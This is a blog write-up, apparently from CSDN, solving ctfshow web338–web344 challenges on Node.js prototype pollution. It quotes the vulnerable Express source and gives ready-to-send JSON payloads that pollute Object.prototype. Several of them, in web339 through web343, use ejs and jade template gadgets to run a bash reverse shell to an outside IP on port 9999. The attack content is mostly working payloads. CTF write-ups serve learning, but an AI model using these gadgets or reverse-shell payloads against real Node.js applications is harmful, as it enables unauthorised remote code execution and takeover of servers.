• ctfshow web入门 web338--web344


    web338

    原型链污染

    comman.js

    module.exports = {
      copy:copy
    };
    
    function copy(object1, object2){
        for (let key in object2) {
            if (key in object2 && key in object1) {
                copy(object1[key], object2[key])
            } else {
                object1[key] = object2[key]
            }
        }
      }
    

    login.js

    var express = require('express');
    var router = express.Router();
    var utils = require('../utils/common');
    
    
    
    /* GET home page.  */
    router.post('/', require('body-parser').json(),function(req, res, next) {
      res.type('html');
      var flag='flag_here';
      var secert = {};
      var sess = req.session;
      let user = {};
      utils.copy(user,req.body);
      if(secert.ctfshow==='36dboy'){
        res.end(flag);
      }else{
        return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
      }
      
      
    });
    
    module.exports = router;
    

    我们知道没有对象都有一个原生属性就是__proto__然后我们利用这个来使用copy来实现属性的污染把,secret的ctfshow属性变为36dboy

    POST:
    {"__proto__":{"ctfshow":"36dboy"}}
    

    在这里插入图片描述

    然后发包就行

    web339

    原型链污染覆盖 query 实现命令执行

    app.js:

    var indexRouter = require('./routes/index');
    var loginRouter = require('./routes/login');
    var apiRouter = require('./routes/api');
    

    login.js

    var express = require('express');
    var router = express.Router();
    var utils = require('../utils/common');
    
    function User(){
      this.username='';
      this.password='';
    }
    function normalUser(){
      this.user
    }
    
    
    /* GET home page.  */
    router.post('/', require('body-parser').json(),function(req, res, next) {
      res.type('html');
      var flag='flag_here';
      var secert = {};
      var sess = req.session;
      let user = {};
      utils.copy(user,req.body);
      if(secert.ctfshow===flag){
        res.end(flag);
      }else{
        return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
      }
      
      
    });
    
    module.exports = router;
    

    api.js

    var express = require('express');
    var router = express.Router();
    var utils = require('../utils/common');
    
    
    
    /* GET home page.  */
    router.post('/', require('body-parser').json(),function(req, res, next) {
      res.type('html');
      res.render('api', { query: Function(query)(query)});
       
    });
    
    module.exports = router;
    
    res.render('api', { query: Function(query)(query)});
    query属性并且想把这个属性变成函数然后再直接调用这个函数
    

    我们利用这个来覆盖query进行RCE

    Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

    在这里插入图片描述

    {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}
    

    然后使得api起反应,那么函数就会被调用了
    在这里插入图片描述

    在这里插入图片描述

    由于是污染题,所以我靶机是开了差不多十来次,终于是拿到了
    在这里插入图片描述
    最后翻到了flag

    web340

    login.js变了

    var express = require('express');
    var router = express.Router();
    var utils = require('../utils/common');
    
    
    
    /* GET home page.  */
    router.post('/', require('body-parser').json(),function(req, res, next) {
      res.type('html');
      var flag='flag_here';
      var user = new function(){
        this.userinfo = new function(){
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;     
        };
      }
      utils.copy(user.userinfo,req.body);
      if(user.userinfo.isAdmin){
       res.end(flag);
      }else{
       return res.json({ret_code: 2, ret_msg: '登录失败'});  
      }
      
      
    });
    
    module.exports = router;
    

    用我们发送的请求(req.body)覆盖user.userinfo的属性为真
    而我们要污染到object的话就要两层才能达到因为
    userinfo上层为useruser的上层为object

    {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}
    

    发包然后触发即可
    在这里插入图片描述

    web341

    ejs 原型链污染 RCE

    源码和340没有变,但是没有api的函数触发了
    首先一样的双层污染
    用snyk测一下先发现有ejs的

    {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');var __tmp2"}}}
    

    这里的前面的 _tmp1; 和后面的 var __tmp2 不能删,是为了闭合代码。
    在这里插入图片描述
    污染之后没有反应,随便访问一个页面,反弹成功
    在这里插入图片描述
    根目录下面找到flag

    web342–web343

    jade 原型链污染 rce

    {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');//"}}}
    
    {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}
    

    在这里插入图片描述
    这里有些师傅反弹不到,可能是一个细节res接受JSON

    而在是在login发包,你如果原地发会报错

    web344

    router.get('/', function(req, res, next) {
      res.type('html');
      var flag = 'flag_here';
      if(req.url.match(/8c|2c|\,/ig)){
      	res.end('where is flag :)');
      }
      var query = JSON.parse(req.query.query);   
      if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
      	res.end(flag);
      }else{
      	res.end('where is flag. :)');
      }
    
    });
    

    过滤了8c 2c ,

    var query = JSON.parse(req.query.query);   
    定义了一个js对象,访问其参数值
    

    直接传就行了

    ?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
    考虑一下绕过
    
  • 相关阅读:
    C++ 纠错题总结2
    分布式微服务 - 3.服务调用 - 1.概念
    Git提交代码.gitignore的模版
    0101idea运行scala-基础入门-scala
    TYVJ P1023 奶牛的锻炼
    管理好自己,才是一个人最大的本事
    java Spring Boot日志输出格式配置方法
    关于 Redis 中集群
    物流查询 批量查询物流如何查看快递是否已签收
    基于超表面光学,科研人员发明盐粒大小的相机
  • 原文地址:https://blog.csdn.net/2301_81040377/article/details/140230560